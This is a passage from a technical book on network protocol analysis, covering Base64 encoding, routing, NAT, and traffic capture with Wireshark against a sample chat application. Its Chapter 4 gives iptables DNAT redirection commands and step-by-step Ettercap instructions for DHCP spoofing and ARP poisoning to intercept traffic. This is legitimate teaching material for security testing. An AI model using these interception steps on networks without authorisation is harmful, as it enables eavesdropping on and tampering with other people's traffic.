0x06 0xE3 0x58

0 0 0 0 0 1 1 0 1 1 1 0 0 0 1 1 0 1 0 1 1 0 0 0

'0' '6' 'E' '3' '5' '8'

Figure 3-18: Example hex encoding of binary data

Although simple, hex encoding is not space efficient because all 
binary data automatically becomes 100 percent larger than it was origi-
nally. But one advantage is that encoding and decoding operations are 
fast and simple and little can go wrong, which is definitely beneficial from 
a security perspective. 
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HTTP specifies a similar encoding for URLs and some text protocols 
called percent encoding. Rather than all data being encoded, only nonprint-
able data is converted to hex, and values are signified by prefixing the value 
with a % character. If percent encoding was used to encode the value in 
Figure 3-18, you would get %06%E3X. 

Base64
To counter the obvious inefficiencies in hex encoding, we can use Base64, 
an encoding scheme originally developed as part of the MIME specifica-
tions. The 64 in the name refers to the number of characters used to 
encode the data. 

The input binary is separated into individual 6-bit values, enough to 
represent 0 through 63. This value is then used to look up a corresponding 
character in an encoding table, as shown in Figure 3-19. 

0 1 2 3 4 5 6 7 8 9 A B C D E F
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g h i j k l m n o p q r s t u v

w x y z 0 1 2 3 4 5 6 7 8 9 + /

Figure 3-19: Base64 encoding table

But there’s a problem with this approach: when 8 bits are divided by 6, 
2 bits remain. To counter this problem, the input is taken in units of three 
octets, because dividing 24 bits by 6 bits produces 4 values. Thus, Base64 
encodes 3 bytes into 4, representing an increase of only 33 percent, which is 
significantly better than the increase produced by hex encoding. Figure 3-20 
shows an example of encoding a three-octet sequence into Base64.

But yet another issue is apparent with this strategy. What if you have 
only one or two octets to encode? Would that not cause the encoding to 
fail? Base64 gets around this issue by defining a placeholder character, 
the equal sign (=). If in the encoding process, no valid bits are available 
to use, the encoder will encode that value as the placeholder. Figure 3-21 
shows an example of only one octet being encoded. Note that it generates 
two placeholder characters. If two octets were encoded, Base64 would 
generate only one. 
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0 0 0 0 0 1 1 0

0x06 0xE3 0x58

1 1 1 0 0 0 1 1 0 1 0 1 1 0 0 0

0x01 0x2E 0x0D 0x18

'B' 'u' 'N' 'Y'

Base64 mapping table

Figure 3-20: Base64 encoding 3 bytes as 4 characters

0 0 0 0 0 1 1 0

0x06

0 0 0 0 X X X X

0x01 0x20 ?

'B' 'g' '=' '='

X X X X X X X X

?

'='

Base64 mapping table

Figure 3-21: Base64 encoding 1 byte as 3 characters

To convert Base64 data back into binary, you simply follow the steps 
in reverse. But what happens when a non-Base64 character is encountered 
during the decoding? Well that’s up to the application to decide. We can 
only hope that it makes a secure decision. 
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Final Words
In this chapter, I defined many ways to represent data values in binary 
and text protocols and discussed how to represent numeric data, such as 
integers, in binary. Understanding how octets are transmitted in a pro-
tocol is crucial to successfully decoding values. At the same time, it’s also 
important to identify the many ways that variable-length data values can 
be represented because they are perhaps the most important structure you 
will encounter within a network protocol. As you analyze more network pro-
tocols, you’ll see the same structures used repeatedly. Being able to quickly 
identify the structures is key to easily processing unknown protocols. 

In Chapter 4, we’ll look at a few real-world protocols and dissect them 
to see how they match up with the descriptions presented in this chapter.



4
A d v anced      A pplication          

T ra  f f ic    C apt   u re

Usually, the network traffic-capturing techniques you 
learned in Chapter 2 should suffice, but occasionally 
you’ll encounter tricky situations that require more 
advanced ways to capture network traffic. Sometimes, 
the challenge is an embedded platform that can only 
be configured with the Dynamic Host Configuration 
Protocol (DHCP); other times, there may be a network 
that offers you little control unless you’re directly con-
nected to it.

Most of the advanced traffic-capturing techniques discussed in this 
chapter use existing network infrastructure and protocols to redirect traf-
fic. None of the techniques require specialty hardware; all you’ll need are 
software packages commonly found on various operating systems.
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Rerouting Traffic
IP is a routed protocol; that is, none of the nodes on the network need to 
know the exact location of any other nodes. Instead, when one node wants 
to send traffic to another node that it isn’t directly connected to, it sends 
the traffic to a gateway node, which forwards the traffic to the destination. 
A gateway is also commonly called a router, a device that routes traffic from 
one location to another.

For example, in Figure 4-1, the client 192.168.56.10 is trying to send 
traffic to the server 10.1.1.10, but the client doesn’t have a direct connec-
tion to the server. It first sends traffic destined for the server to Router A. In 
turn, Router A sends the traffic to Router B, which has a direct connection 
to the target server; Router B passes the traffic on to its final destination.

As with all nodes, the gateway node doesn’t know the traffic’s exact des-
tination, so it looks up the appropriate next gateway to send to. In this case, 
Routers A and B only know about the two networks they are directly con-
nected to. To get from the client to the server, the traffic must be routed.

Client: 192.168.56.10

Traffic to
10.1.1.10

Router
A

Router
B

Forward to
10.1.1.10

Traffic to
10.1.1.10

Server 10.1.1.10

Network 192.168.56.0 Network 172.16.0.0 Network 10.0.0.0

Figure 4-1: An example of routed traffic

Using Traceroute
When tracing a route, you attempt to map the route that the IP traffic will 
take to a particular destination. Most operating systems have built-in tools to 
perform a trace, such as traceroute on most Unix-like platforms and tracert 
on Windows.

Listing 4-1 shows the result of tracing the route to www.google.com from 
a home internet connection.

C:\Users\user>tracert www.google.com

Tracing route to www.google.com [173.194.34.176]
over a maximum of 30 hops:

  1     2 ms     2 ms     2 ms  home.local [192.168.1.254]
  2    15 ms    15 ms    15 ms  217.32.146.64
  3    88 ms    15 ms    15 ms  217.32.146.110
  4    16 ms    16 ms    15 ms  217.32.147.194
  5    26 ms    15 ms    15 ms  217.41.168.79
  6    16 ms    26 ms    16 ms  217.41.168.107
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  7    26 ms    15 ms    15 ms  109.159.249.94
  8    18 ms    16 ms    15 ms  109.159.249.17
  9    17 ms    28 ms    16 ms  62.6.201.173
 10    17 ms    16 ms    16 ms  195.99.126.105
 11    17 ms    17 ms    16 ms  209.85.252.188
 12    17 ms    17 ms    17 ms  209.85.253.175
 13    27 ms    17 ms    17 ms  lhr14s22-in-f16.1e100.net [173.194.34.176]

Listing 4-1: Traceroute to www.google.com using the tracert tool

Each numbered line of output (1, 2, and so on) represents a unique 
gateway routing traffic to the ultimate destination. The output refers to a 
maximum number of hops. A single hop represents the network between 
each gateway in the entire route. For example, there’s a hop between your 
machine and the first router, another between that router and the next, 
and hops all the way to the final destination. If the maximum hop count is 
exceeded, the traceroute process will stop probing for more routers. The 
maximum hop can be specified to the trace route tool command line; spec-
ify -h NUM on Windows and -m NUM on Unix-style systems.(The output also 
shows the round-trip time from the machine performing the traceroute 
and the discovered node.)

Routing Tables
The OS uses routing tables to figure out which gateways to send traffic to. 
A routing table contains a list of destination networks and the gateway 
to route traffic to. If a network is directly connected to the node sending 
the network traffic, no gateway is required, and the network traffic can be 
transmitted directly on the local network.

You can view your computer’s routing table by entering the command 
netstat -r on most Unix-like systems or route print on Windows. Listing 4-2 
shows the output from Windows when you execute this command.

> route print

IPv4 Route Table
=============================================================================
Active Routes:
Network Destination           Netmask         Gateway      Interface   Metric

u             0.0.0.0           0.0.0.0   192.168.1.254   192.168.1.72       10
          127.0.0.0         255.0.0.0         On-link      127.0.0.1      306
          127.0.0.1   255.255.255.255         On-link      127.0.0.1      306
    127.255.255.255   255.255.255.255         On-link      127.0.0.1      306
        192.168.1.0     255.255.255.0         On-link   192.168.1.72      266
       192.168.1.72   255.255.255.255         On-link   192.168.1.72      266
      192.168.1.255   255.255.255.255         On-link   192.168.1.72      266
          224.0.0.0         240.0.0.0         On-link      127.0.0.1      306
          224.0.0.0         240.0.0.0         On-link   192.168.56.1      276
          224.0.0.0         240.0.0.0         On-link   192.168.1.72      266
    255.255.255.255   255.255.255.255         On-link      127.0.0.1      306
    255.255.255.255   255.255.255.255         On-link   192.168.56.1      276

http://www.google.com/
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    255.255.255.255   255.255.255.255         On-link   192.168.1.72      266
=============================================================================

Listing 4-2: Example routing table output

As mentioned earlier, one reason routing is used is so that nodes don’t 
need to know the location of all other nodes on the network. But what hap-
pens to traffic when the gateway responsible for communicating with the 
destination network isn’t known? In that case, it’s common for the routing 
table to forward all unknown traffic to a default gateway. You can see the 
default gateway at u, where the network destination is 0.0.0.0. This destina-
tion is a placeholder for the default gateway, which simplifies the manage-
ment of the routing table. By using a placeholder, the table doesn’t need to 
be changed if the network configuration changes, such as through a DHCP 
configuration. Traffic sent to any destination that has no known match-
ing route will be sent to the gateway registered for the 0.0.0.0 placeholder 
address.

How can you use routing to your advantage? Let’s consider an embed-
ded system in which the operating system and hardware come as one single 
device. You might not be able to influence the network configuration in 
an embedded system as you might not even have access to the underlying 
operating system, but if you can present your capturing device as a gateway 
between the system generating the traffic and its ultimate destination, you 
can capture the traffic on that system. 

The following sections discuss ways to configure an OS to act as a gate-
way to facilitate traffic capture.

Configuring a Router
By default, most operating systems do not route traffic directly between 
network interfaces. This is mainly to prevent someone on one side of the 
route from communicating directly with the network addresses on the 
other side. If routing is not enabled in the OS configuration, any traffic 
sent to one of the machine’s network interfaces that needs to be routed is 
instead dropped or an error message is sent to the sender. The default con-
figuration is very important for security: imagine the implications if the 
router controlling your connection to the internet routed traffic from the 
internet directly to your private network.

Therefore, to enable an OS to perform routing, you need to make some 
configuration changes as an administrator. Although each OS has differ-
ent ways of enabling routing, one aspect remains constant: you’ll need at 
least two separate network interfaces installed in your computer to act as 
a router. In addition, you’ll need routes on both sides of the gateway for 
routing to function correctly. If the destination doesn’t have a correspond-
ing route back to the source device, communication might not work as 
expected. Once routing is enabled, you can configure the network devices 
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to forward traffic via your new router. By running a tool such as Wireshark 
on the router, you can capture traffic as it’s forwarded between the two net-
work interfaces you configured.

Enabling Routing on Windows
By default, Windows does not enable routing between network interfaces. 
To enable routing on Windows, you need to modify the system registry. You 
can do this by using a GUI registry editor, but the easiest way is to run the 
following command as an administrator from the command prompt:

C> reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters ^  
    /v IPEnableRouter /t REG_DWORD /d 1

To turn off routing after you’ve finished capturing traffic, enter the fol-
lowing command:

C> reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters ^  
    /v IPEnableRouter /t REG_DWORD /d 0

You’ll also need to reboot between command changes.

W arning      	 Be very careful when you’re modifying the Windows registry. Incorrect changes could 
completely break Windows and prevent it from booting! Be sure to make a system 
backup using a utility like the built-in Windows backup tool before performing any 
dangerous changes.

Enabling Routing on *nix
To enable routing on Unix-like operating systems, you simply change the 
IP routing system setting using the sysctl command. (Note that the instruc-
tions for doing so aren’t necessarily consistent between systems, but you 
should be able to easily find specific instructions.)

To enable routing on Linux for IPv4, enter the following command as 
root (no need to reboot; the change is immediate):

# sysctl net.ipv4.conf.all.forwarding=1

To enable IPv6 routing on Linux, enter this:

# sysctl net.ipv6.conf.all.forwarding=1

You can revert the routing configuration by changing 1 to 0 in the pre-
vious commands.

To enable routing on macOS, enter the following:

> sysctl -w net.inet.ip.forwarding=1
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Network Address Translation
When trying to capture traffic, you may find that you can capture out-
bound traffic but not returning traffic. The reason is that an upstream 
router doesn’t know the route to the original source network; therefore, 
it either drops the traffic entirely or forwards it to an unrelated network. 
You can mitigate this situation by using Network Address Translation (NAT), 
a technique that modifies the source and destination address information 
of IP and higher-layer protocols, such as TCP. NAT is used extensively to 
extend the limited IPv4 address space by hiding multiple devices behind a 
single public IP address.

NAT can make network configuration and security easier, too. When 
NAT is turned on, you can run as many devices behind a single NAT IP 
address as you like and manage only that public IP address.

Two types of NAT are common today: Source NAT (SNAT) and Destination 
NAT (DNAT). The differences between the two relate to which address is 
modified during the NAT processing of the network traffic. SNAT (also 
called masquerading) changes the IP source address information; DNAT 
changes the destination address.

Enabling SNAT
When you want a router to hide multiple machines behind a single 
IP address, you use SNAT. When SNAT is turned on, as traffic is routed 
across the external network interface, the source IP address in the packets 
is rewritten to match the single IP address made available by SNAT.

It can be useful to implement SNAT when you want to route traffic to 
a network that you don’t control because, as you’ll recall, both nodes on the 
network must have appropriate routing information for network traffic to 
be sent between the nodes. In the worst case, if the routing information is 
incorrect, traffic will flow in only one direction. Even in the best case, it’s 
likely that you would be able to capture traffic only in one direction; the 
other direction would be routed through an alternative path.

SNAT addresses this potential problem by changing the source address 
of the traffic to an IP address that the destination node can route to—typi-
cally, the one assigned to the external interface of the router. Thus, the des-
tination node can send traffic back in the direction of the router. Figure 4-2 
shows a simple example of SNAT.

Client (10.0.0.1) Router (1.1.1.1) Server (domain.com)

Traffic from 10.0.0.1
to domain.com

Traffic from 1.1.1.1
to domain.com

Figure 4-2: An example of SNAT from a client to a server

When the client wants to send a packet to a server on a different net-
work, it sends it to the router that has been configured with SNAT. When 
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the router receives the packet from the client, the source address is the 
client’s (10.0.0.1) and the destination is the server (the resolved address 
of domain.com). It’s at this point that SNAT is used: the router modifies 
the source address of the packet to its own (1.1.1.1) and then forwards the 
packet to the server.

When the server receives this packet, it assumes the packet came from 
the router; so, when it wants to send a packet back, it sends the packet to 
1.1.1.1. The router receives the packet, determines it came from an existing 
NAT connection (based on destination address and port numbers), and 
reverts the address change, converting 1.1.1.1 back to the original client 
address of 10.0.0.1. Finally, the packet can be forwarded back to the origi-
nal client without the server needing to know about the client or how to 
route to its network.

Configuring SNAT on Linux
Although you can configure SNAT on Windows and macOS using Internet 
Connection Sharing, I’ll only provide details on how to configure SNAT 
on Linux because it’s the easiest platform to describe and the most flexible 
when it comes to network configuration.

Before configuring SNAT, you need to do the following:

•	 Enable IP routing as described earlier in this chapter.

•	 Find the name of the outbound network interface on which you want 
to configure SNAT. You can do so by using the ifconfig command. The 
outbound interface might be named something like eth0.

•	 Note the IP address associated with the outbound interface when you 
use ifconfig.

Now you can configure the NAT rules using the iptables. (The iptables 
command is most likely already installed on your Linux distribution.) But 
first, flush any existing NAT rules in iptables by entering the following com-
mand as the root user:

# iptables -t nat -F

If the outbound network interface has a fixed address, run the fol-
lowing commands as root to enable SNAT. Replace INTNAME with the name 
of your outbound interface and INTIP with the IP address assigned to that 
interface.

# iptables -t nat -A POSTROUTING -o INTNAME -j SNAT --to INTIP

However, if the IP address is configured dynamically (perhaps using 
DHCP or a dial-up connection), use the following command to automati-
cally determine the outbound IP address:

# iptables -t nat -A POSTROUTING -o INTNAME -j MASQUERADE
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Enabling DNAT
DNAT is useful if you want to redirect traffic to a proxy or other service 
to terminate it, or before forwarding the traffic to its original destination. 
DNAT rewrites the destination IP address, and optionally, the destination 
port. You can use DNAT to redirect specific traffic to a different destina-
tion, as shown in Figure 4-3, which illustrates traffic being redirected from 
both the router and the server to a proxy at 192.168.0.10 to perform a man-
in-the-middle analysis.

Client application

Proxy (192.168.0.10:8888)

Router

Redirected route

Original route

Server (domain.com:1234)

Traffic to
domain.com:1234

DNAT to
192.168.0.10:8888

Figure 4-3: An example of DNAT to a proxy

Figure 4-3 shows a client application sending traffic through a router 
that is destined for domain.com on port 1234. When a packet is received 
at the router, that router would normally just forward the packet to the 
original destination. But because DNAT is used to change the packet’s 
destination address and port to 192.168.0.10:8888, the router will apply its 
forwarding rules and send the packet to a proxy machine that can capture 
the traffic. The proxy then establishes a new connection to the server and 
forwards any packets sent from the client to the server. All traffic between 
the original client and the server can be captured and manipulated.

Configuring DNAT depends on the OS the router is running. (If 
your router is running Windows, you’re probably out of luck because the 
functionality required to support it isn’t exposed to the user.) Setup varies 
considerably between different versions of Unix-like operating systems and 
macOS, so I’ll only show you how to configure DNAT on Linux. First, flush 
any existing NAT rules by entering the following command:

# iptables -t nat -F

Next, run the following command as the root user, replacing ORIGIP 
(originating IP) with the IP address to match traffic to and NEWIP with the 
new destination IP address you want that traffic to go to.
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# iptables -t nat -A PREROUTING -d ORIGIP -j DNAT --to-destination NEWIP

The new NAT rule will redirect any packet routed to ORIGIP to NEWIP. 
(Because the DNAT occurs prior to the normal routing rules on Linux, it’s 
safe to choose a local network address; the DNAT rule will not affect traffic 
sent directly from Linux.) To apply the rule only to a specific TCP or UDP, 
change the command:

iptables -t nat -A PREROUTING -p PROTO -d ORIGIP --dport ORIGPORT -j DNAT \  
    --to-destination NEWIP:NEWPORT

The placeholder PROTO (for protocol) should be either tcp or udp depend-
ing on the IP protocol being redirected using the DNAT rule. The values 
for ORIGIP (original IP) and NEWIP are the same as earlier.

You can also configure ORIGPORT (the original port) and NEWPORT if you 
want to change the destination port. If NEWPORT is not specified, only the IP 
address will be changed.

Forwarding Traffic to a Gateway
You’ve set up your gateway device to capture and modify traffic. Everything 
appears to be working properly, but there’s a problem: you can’t easily 
change the network configuration of the device you want to capture. Also, 
you have limited ability to change the network configuration the device is 
connected to. You need some way to reconfigure or trick the sending device 
into forwarding traffic through your gateway. You could accomplish this by 
exploiting the local network by spoofing packets for either DHCP or Address 
Resolution Protocol (ARP).

DHCP Spoofing
DHCP is designed to run on IP networks to distribute network configuration 
information to nodes automatically. Therefore, if we can spoof DHCP traf-
fic, we can change a node’s network configuration remotely. When DHCP is 
used, the network configuration pushed to a node can include an IP address 
as well as the default gateway, routing tables, the default DNS servers, and 
even additional custom parameters. If the device you want to test uses DHCP 
to configure its network interface, this flexibility makes it very easy to supply 
a custom configuration that will allow easy network traffic capture. 

DHCP uses the UDP protocol to send requests to and from a DHCP ser-
vice on the local network. Four types of DHCP packets are sent when nego-
tiating the network configuration:

Discover  Sent to all nodes on the IP network to discover a DHCP 
server

Offer  Sent by the DHCP server to the node that sent the discovery 
packet to offer a network configuration
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Request  Sent by the originating node to confirm its acceptance of the 
offer

Acknowledgment  Sent by the server to confirm completion of the 
configuration

The interesting aspect of DHCP is that it uses an unauthenticated, con-
nectionless protocol to perform configuration. Even if an existing DHCP 
server is on a network, you may be able to spoof the configuration process 
and change the node’s network configuration, including the default gate-
way address, to one you control. This is called DHCP spoofing.

To perform DHCP spoofing, we’ll use Ettercap, a free tool that’s 
available on most operating systems (although Windows isn’t officially 
supported).

1.	 On Linux, start Ettercap in graphical mode as the root user:

# ettercap -G

You should see the Ettercap GUI, as shown in Figure 4-4.

Figure 4-4: The main Ettercap GUI

2.	 Configure Ettercap’s sniffing mode by selecting Sniff4Unified 
Sniffing.
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3.	 The dialog shown in Figure 4-5 should prompt you to select the net-
work interface you want to sniff on. Select the interface connected to 
the network you want to perform DHCP spoofing on. (Make sure the 
network interface’s network is configured correctly because Ettercap 
will automatically send the interface’s configured IP address as the 
DHCP default gateway.)

Figure 4-5: Selecting the sniffing interface

4.	 Enable DHCP spoofing by choosing Mitm4Dhcp spoofing. The dia-
log shown in Figure 4-6 should appear, allowing you to configure the 
DHCP spoofing options.

Figure 4-6: Configuring DHCP spoofing

5.	 The IP Pool field sets the range of IP addresses to hand out for spoof-
ing DHCP requests. Supply a range of IP addresses that you config-
ured for the network interface that is capturing traffic. For example, 
in Figure 4-6, the IP Pool value is set to 10.0.0.10-50 (the dash indi-
cates all addresses inclusive of each value), so we’ll hand out IPs from 
10.0.0.10 to 10.0.0.50 inclusive. Configure the Netmask to match your 
network interface’s netmask to prevent conflicts. Specify a DNS server 
IP of your choice.

6.	 Start sniffing by choosing Start4Start sniffing. If DHCP spoofing 
is successful on the device, the Ettercap log window should look like 
Figure 4-7. The crucial line is fake ACK sent by Ettercap in response to 
the DHCP request.
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Figure 4-7: Successful DHCP spoofing

That’s all there is to DHCP spoofing with Ettercap. It can be very pow-
erful if you don’t have any other option and a DHCP server is already on the 
network you’re trying to attack.

ARP Poisoning
ARP is critical to the operation of IP networks running on Ethernet 
because ARP finds the Ethernet address for a given IP address. Without 
ARP, it would be very difficult to communicate IP traffic efficiently over 
Ethernet. Here’s how ARP works: when one node wants to communicate 
with another on the same Ethernet network, it must be able to map the 
IP address to an Ethernet MAC address (which is how Ethernet knows 
the destination node to send traffic to). The node generates an ARP 
request packet (see Figure 4-8) containing the node’s 6-byte Ethernet 
MAC address, its current IP address, and the target node’s IP address. The 
packet is transmitted on the Ethernet network with a destination MAC 
address of ff:ff:ff:ff:ff:ff, which is the defined broadcast address. Normally, 
an Ethernet device only processes packets with a destination address that 
matches its address, but if it receives a packet with the destination MAC 
address set to the broadcast address, it will process it, too.

If one of the recipients of this broadcasted message has been assigned 
the target IP address, it can now return an ARP response, as shown in 
Figure 4-9. This response is almost exactly the same as the request except 
the sender and target fields are reversed. Because the sender’s IP address 
should correspond to the original requested target IP address, the original 
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requestor can now extract the sender’s MAC address and remember it for 
future network communication without having to resend the ARP request.

Figure 4-8: An example ARP request packet

Figure 4-9: An example ARP response

How can you use ARP poisoning to your advantage? As with DHCP, 
there’s no authentication on ARP packets, which are intentionally sent to all 
nodes on the Ethernet network. Therefore, you can inform the target node 
you own an IP address and ensure the node forwards traffic to your rogue 
gateway by sending spoofed ARP packets to poison the target node’s ARP 
cache. You can use Ettercap to spoof the packets, as shown in Figure 4-10.

Client: 192.168.100.1
MAC: 08:00:27:33:81:6d

Original route

Network 192.168.100.0

Router: 192.168.100.10
MAC: 08:00:27:68:95:c3

Proxy (192.168.100.5)
MAC: 08:00:27:38:dc:e6

ARP poison ARP
 po

iso
n

Redirected route

Figure 4-10: ARP poisoning

In Figure 4-10, Ettercap sends spoofed ARP packets to the client and 
the router on the local network. If spoofing succeeds, these ARP packets 
will change the cached ARP entries for both devices to point to your proxy.
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W arning      	 Be sure to spoof ARP packets to both the client and the router to ensure that you get 
both sides of the communication. Of course, if all you want is one side of the commu-
nication, you only need to poison one or the other node.

To start ARP poisoning, follow these steps: 

1.	 Start Ettercap, and enter Unified Sniffing mode as you did with DHCP 
spoofing.

2.	 Select the network interface to poison (the one connected to the net-
work with the nodes you want to poison).

3.	 Configure a list of hosts to ARP poison. The easiest way to get a list of 
hosts is to let Ettercap scan for you by choosing Hosts4Scan For Hosts. 
Depending on the size of the network, scanning can take from a few 
seconds to hours. When the scan is complete, choose Hosts4Host List; 
a dialog like the one in Figure 4-11 should appear.

Figure 4-11: A list of discovered hosts

As you can see in Figure 4-11, we’ve found two hosts. In this case, 
one is the client node that you want to capture, which is on IP address 
192.168.100.1 with a MAC address of 08:00:27:33:81:6d. The other node 
is the gateway to the internet on IP address 192.168.100.10 with a MAC 
address of 08:00:27:68:95:c3. Most likely, you’ll already know the IP 
addresses configured for each network device, so you can determine 
which is the local machine and which is the remote machine.
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4.	 Choose your targets. Select one of the hosts from the list and click Add 
to Target 1; select the other host you want to poison and click Add to 
Target 2. (Target 1 and Target 2 differentiate between the client and 
the gateway.) This should enable one-way ARP poisoning in which only 
data sent from Target 1 to Target 2 is rerouted.

5.	 Start ARP poisoning by choosing Mitm4ARP poisoning. A dialog 
should appear. Accept the defaults and click OK. Ettercap should 
attempt to poison the ARP cache of your chosen targets. ARP poison-
ing may not work immediately because the ARP cache has to refresh. 
If poisoning is successful, the client node should look similar to 
Figure 4-12.

Figure 4-12: Successful ARP poisoning

Figure 4-12 shows the router was poisoned at IP 192.168.100.10, which 
has had its MAC Hardware address modified to the proxy’s MAC address 
of 08:00:27:08:dc:e6. (For comparison, see the corresponding entry in 
Figure 4-11.) Now any traffic that is sent from the client to the router will 
instead be sent to the proxy (shown by the MAC address of 192.168.100.5). 
The proxy can forward the traffic to the correct destination after capturing 
or modifying it.

One advantage that ARP poisoning has over DHCP spoofing is that you 
can redirect nodes on the local network to communicate with your gateway 
even if the destination is on the local network. ARP poisoning doesn’t have 
to poison the connection between the node and the external gateway if you 
don’t want it to.

Final Words
In this chapter, you’ve learned a few additional ways to capture and modify 
traffic between a client and server. I began by describing how to configure 
your OS as an IP gateway, because if you can forward traffic through your 
own gateway, you have a number of techniques available to you.

Of course, just getting a device to send traffic to your network capture 
device isn’t always easy, so employing techniques such as DHCP spoofing or 
ARP poisoning is important to ensure that traffic is sent to your device rather 
than directly to the internet. Fortunately, as you’ve seen, you don’t need cus-
tom tools to do so; all the tools you need are either already included in your 
operating system (especially if you’re running Linux) or easily downloadable.
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In Chapter 2, I discussed how to capture network traf-
fic for analysis. Now it’s time to put that knowledge to 
the test. In this chapter, we’ll examine how to analyze 
captured network protocol traffic from a chat appli-
cation to understand the protocol in use. If you can 
determine which features a protocol supports, you 
can assess its security. 

Analysis of an unknown protocol is typically incremental. You begin 
by capturing network traffic, and then analyze it to try to understand what 
each part of the traffic represents. Throughout this chapter, I’ll show you 
how to use Wireshark and some custom code to inspect an unknown net-
work protocol. Our approach will include extracting structures and state 
information. 
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The Traffic-Producing Application: SuperFunkyChat
The test subject for this chapter is a chat application I’ve written in C# called 
SuperFunkyChat, which will run on Windows, Linux, and macOS. Download 
the latest prebuild applications and source code from the GitHub page at 
https://github.com/tyranid/ExampleChatApplication/releases/; be sure to choose 
the release binaries appropriate for your platform. (If you’re using Mono, 
choose the .NET version, and so on.) The example client and server console 
applications for SuperFunkyChat are called ChatClient and ChatServer. 

After you’ve downloaded the application, unpack the release files to a 
directory on your machine so you can run each application. For the sake 
of simplicity, all example command lines will use the Windows executable 
binaries. If you’re running under Mono, prefix the command with the path 
to the main mono binary. When running files for .NET Core, prefix the 
command with the dotnet binary. The files for .NET will have a .dll extension 
instead of .exe. 

Starting the Server
Start the server by running ChatServer.exe with no parameters. If successful, 
it should print some basic information, as shown in Listing 5-1.

C:\SuperFunkyChat> ChatServer.exe
ChatServer (c) 2017 James Forshaw
WARNING: Don't use this for a real chat system!!!
Running server on port 12345 Global Bind False

Listing 5-1: Example output from running ChatServer

N ote   	 Pay attention to the warning! This application has not been designed to be a secure 
chat system.

Notice in Listing 5-1 that the final line prints the port the server is run-
ning on (12345 in this case) and whether the server has bound to all inter-
faces (global). You probably won’t need to change the port (--port NUM), but 
you might need to change whether the application is bound to all interfaces 
if you want clients and the server to exist on different computers. This is 
especially important on Windows. It’s not easy to capture traffic to the local 
loopback interface on Windows; if you encounter any difficulties, you may 
need to run the server on a separate computer or a virtual machine (VM). 
To bind to all interfaces, specify the --global parameter.

Starting Clients
With the server running, we can start one or more clients. To start a client, 
run ChatClient.exe (see Listing 5-2), specify the username you want to use on 
the server (the username can be anything you like), and specify the server 
hostname (for example, localhost). When you run the client, you should see 
output similar to that shown in Listing 5-2. If you see any errors, make sure 
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you’ve set up the server correctly, including requiring binding to all inter-
faces or disabling the firewall on the server.

C:\SuperFunkyChat> ChatClient.exe USERNAME HOSTNAME
ChatClient (c) 2017 James Forshaw
WARNING: Don't use this for a real chat system!!!
Connecting to localhost:12345

Listing 5-2: Example output from running ChatClient

As you start the client, look at the running server: you should see output 
on the console similar to Listing 5-3, indicating that the client has success-
fully sent a “Hello” packet.

Connection from 127.0.0.1:49825
Received packet ChatProtocol.HelloProtocolPacket
Hello Packet for User: alice HostName: borax

Listing 5-3: The server output when a client connects

Communicating Between Clients
After you’ve completed the preceding steps successfully, you should be able 
to connect multiple clients so you can communicate between them. To send 
a message to all users with the ChatClient, enter the message on the com-
mand line and press ENTER. 

The ChatClient also supports a few other commands, which all begin 
with a forward slash (/), as detailed in Table 5-1.

Table 5-1: Commands for the ChatClient Application

Command Description

/quit [message] Quit client with optional message
/msg user message Send a message to a specific user
/list List other users on the system
/help Print help information

You’re ready to generate traffic between the SuperFunkyChat clients 
and server. Let’s start our analysis by capturing and inspecting some traffic 
using Wireshark.

A Crash Course in Analysis with Wireshark
In Chapter 2, I introduced Wireshark but didn’t go into any detail on how 
to use Wireshark to analyze rather than simply capture traffic. Because 
Wireshark is a very powerful and comprehensive tool, I’ll only scratch 
the surface of its functionality here. When you first start Wireshark on 
Windows, you should see a window similar to the one shown in Figure 5-1. 
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Figure 5-1: The main Wireshark window on Windows

The main window allows you to choose the interface to capture traffic 
from. To ensure we capture only the traffic we want to analyze, we need to 
configure some options on the interface. Select Capture4Options from 
the menu. Figure 5-2 shows the options dialog that opens.





Figure 5-2: The Wireshark Capture Interfaces dialog

Select the network interface you want to capture traffic from, as shown 
at . Because we’re using Windows, choose Local Area Connection, which is 
our main Ethernet connection; we can’t easily capture from Localhost. Then 
set a capture filter . In this case, we specify the filter ip host 192.168.10.102 
to limit capture to traffic to or from the IP address 192.168.10.102. (The IP 
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address we’re using is the chat server’s address. Change the IP address as 
appropriate for your configuration.) Click the Start button to begin captur-
ing traffic.

Generating Network Traffic and Capturing Packets
The main approach to packet analysis is to generate as much traffic from 
the target application as possible to improve your chances of finding its 
various protocol structures. For example, Listing 5-4 shows a single session 
with ChatClient for alice. 

# alice - Session
> Hello There!
< bob: I've just joined from borax
< bob: How are you?
< bob: This is nice isn't it?
< bob: Woo
< Server: 'bob' has quit, they said 'I'm going away now!'
< bob: I've just joined from borax
< bob: Back again for another round.
< Server: 'bob' has quit, they said 'Nope!'
> /quit
< Server: Don't let the door hit you on the way out!

Listing 5-4: Single ChatClient session for alice.

And Listing 5-5 and Listing 5-6 show two sessions for bob.

# bob - Session 1
> How are you?
> This is nice isn't it?
> /list
< User List
< alice - borax
> /msg alice Woo
> /quit
< Server: Don't let the door hit you on the way out!

Listing 5-5: First ChatClient session for bob

# bob - Session 2
> Back again for another round.
> /quit Nope!
< Server: Don't let the door hit you on the way out!

Listing 5-6: Second ChatClient session for bob

We run two sessions for bob so we can capture any connection or discon-
nection events that might only occur between sessions. In each session, a right 
angle bracket (>) indicates a command to enter into the ChatClient, and a 
left angle bracket (<) indicates responses from the server being written to the 
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console. You can execute the commands to the client for each of these session 
captures to reproduce the rest of the results in this chapter for analysis.

Now turn to Wireshark. If you’ve configured Wireshark correctly and 
bound it to the correct interface, you should start seeing packets being cap-
tured, as shown in Figure 5-3.

Figure 5-3: Captured traffic in Wireshark

After running the example sessions, stop the capture by clicking the 
Stop button (highlighted) and save the packets for later use if you want. 

Basic Analysis
Let’s look at the traffic we’ve captured. To get an overview of the communica-
tion that occurred during the capture period, choose among the options on 
the Statistics menu. For example, choose StatisticsConversations, and you 
should see a new window displaying high-level conversations such as TCP ses-
sions, as shown in the Conversations window in Figure 5-4.

Figure 5-4: The Wireshark Conversations window
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The Conversations window shows three separate TCP conversations in 
the captured traffic. We know that the SuperFunkyChat client application 
uses port 12345, because we see three separate TCP sessions coming from 
port 12345. These sessions should correspond to the three client sessions 
shown in Listing 5-4, Listing 5-5, and Listing 5-6. 

Reading the Contents of a TCP Session
To view the captured traffic for a single conversation, select one of the con-
versations in the Conversations window and click the Follow Stream button. 
A new window displaying the contents of the stream as ASCII text should 
appear, as shown in Figure 5-5.



